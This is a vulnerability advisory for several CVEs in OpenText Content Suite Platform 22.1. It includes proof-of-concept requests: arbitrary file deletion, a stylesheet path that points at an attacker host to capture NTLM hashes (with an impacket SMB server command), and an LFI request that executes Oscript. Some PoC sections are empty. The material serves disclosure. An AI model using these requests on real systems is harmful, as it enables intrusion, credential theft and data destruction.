CVE-2022-45922: Multiple post-authentication vulnerabilities including RCE (OpenText™ Extended ECM)

An issue was discovered in OpenText Content Suite Platform 22.1 (16.2.19.1803). The request handler for ll.KeepAliveSession sets a valid AdminPwd cookie even when the Web Admin password was not entered. This allows access to endpoints, which require a valid AdminPwd cookie, without knowing the password.

Business recommendation

The vendor provides a patch which should be installed immediately.

Vulnerability Overview/Description****1) Deletion of arbitrary files (CVE-2022-45924)

The endpoint itemtemplate.createtemplate2 allows a low privilege user to delete arbitrary files on the server’s local filesystem.

2) Privilege escalation due to logic error in cookie creation (CVE-2022-45922)

The request handler for a user accessible function sets a valid AdminPwd cookie that allows access to unauthorized endpoints without knowing the password.

3) xmlExport multiple vulnerabilities (CVE-2022-45925)****3.1) Information disclosure

The action `xmlexport` accepts the parameter requestContext. If this parameter is present, the response does include most of the HTTP headers sent to the server and some of the CGI variables like remote_addr and server_name.

3.2) Capture of NTLM hashes

The action xmlexport accepts the parameter transform in combination with stylesheet. The stylesheet parameter can be a nodeID or a filepath. If a filepath is specified, the ContentServer tries to open the file. As absolute paths are allowed it is possible to provide a network share to force the ContentServer to open a connection to the network share. This allows an attacker to capture the NTLM Hash of the user running the ContentServer.

4) Evaluate webreports via notify.localizeEmailTemplate (CVE-2022-45926)

The endpoint notify.localizeEmailTemplate does allow a low privilege user to evaluate webreports. This can be used to perform a Server Side Request Forgery (SSRF) attack, with nearly full control of the actual request.

5) Local File Inclusion allows Oscript execution (CVE-2022-45928)

Multiple endpoints allow the user to pass the parameter htmlFile, which is included in the HTML output rendering pipeline of the request. As the Content Server evaluates and executes Oscript code in HTML files, it is possible for an attacker to execute Oscript code. The Oscript scripting language allows the attacker for example to manipulate files on the filesystem, create new network connections or execute OS system commands.

Proof of concept****1) Deletion of arbitrary files (CVE-2022-45924)

As a first step the user has to create a new Customer View Template object via /cs.exe?func=ll&objAction=create&objtype=844&nextURL=foo to get a valid cacheID. With the acquired cacheID the following request can be used to delete a file. The parameter DefinitionFile controls which file should be deleted.

http:// opentext-dev/OTCS/cs.exe?func=itemtemplate.createtemplate2&objType=844&parentId=2000&acheID=730440157&DefinitionFile=C:/temp/poc-del.txt

2) Privilege escalation due to logic error in cookie creation (CVE-2022-45922)

Sending the following request returns a new valid AdminPwd cookie.

3.2) Capture of NTLM hashes

Sending the following request with a remote path as value for the stylesheet parameter initiates a SMB connection to the attacker’s machine:

GET /OTCS//cs.exe?func=ll&&objId=50469&objAction=xmlexport&transform=T&stylesheet=//$attackerIP/msg.txt

$ sudo impacket-smbserver test /tmp -smb2support

Important side effect:

Specifying an existing file for the stylesheet parameter , which is not a valid stylesheet, results in an error. As this error skips the cleanup code the temporary file $OTCS_HOME\temp\xml\XslOutput_[digit]_[digit] is not removed. The content of this file is partially controlled by the attacker, as it contains the filename of the exported object. This could be further exploited as documented in vulnerability 5).

<?xml version="1.0" encoding="UTF-8"?>

4) Evaluate webreports via notify.localizeEmailTemplate (CVE-2022-45926)

5) Local File Inclusion allows Oscript execution (CVE-2022-45928)

One way to create a file on the server’s filesystem with the desired `Oscript` code, is to use the vulnerability 3.2 and its side effect:

Create a file
Set the filename to the Oscript code, which should be executed (e.g.: fArgs content:.fArgs)
Run the xmlExport action with an invalid stylesheet (should be done multiple times to increase the hit change for the LFI)

The temporary file XslOutput_2_3 has the following content:

<?xml version="1.0" encoding="UTF-8"?>
  
    
    fArgs content: `.fArgs`

To include the previously created file and execute its Oscript code, the following request can be used.

GET /OTCS/cs.exe?func=commdirectory.LookFeel&objid=49259&menutype=375&htmlFile=temp/xml/XslOutput_2_3 HTTP/1.1
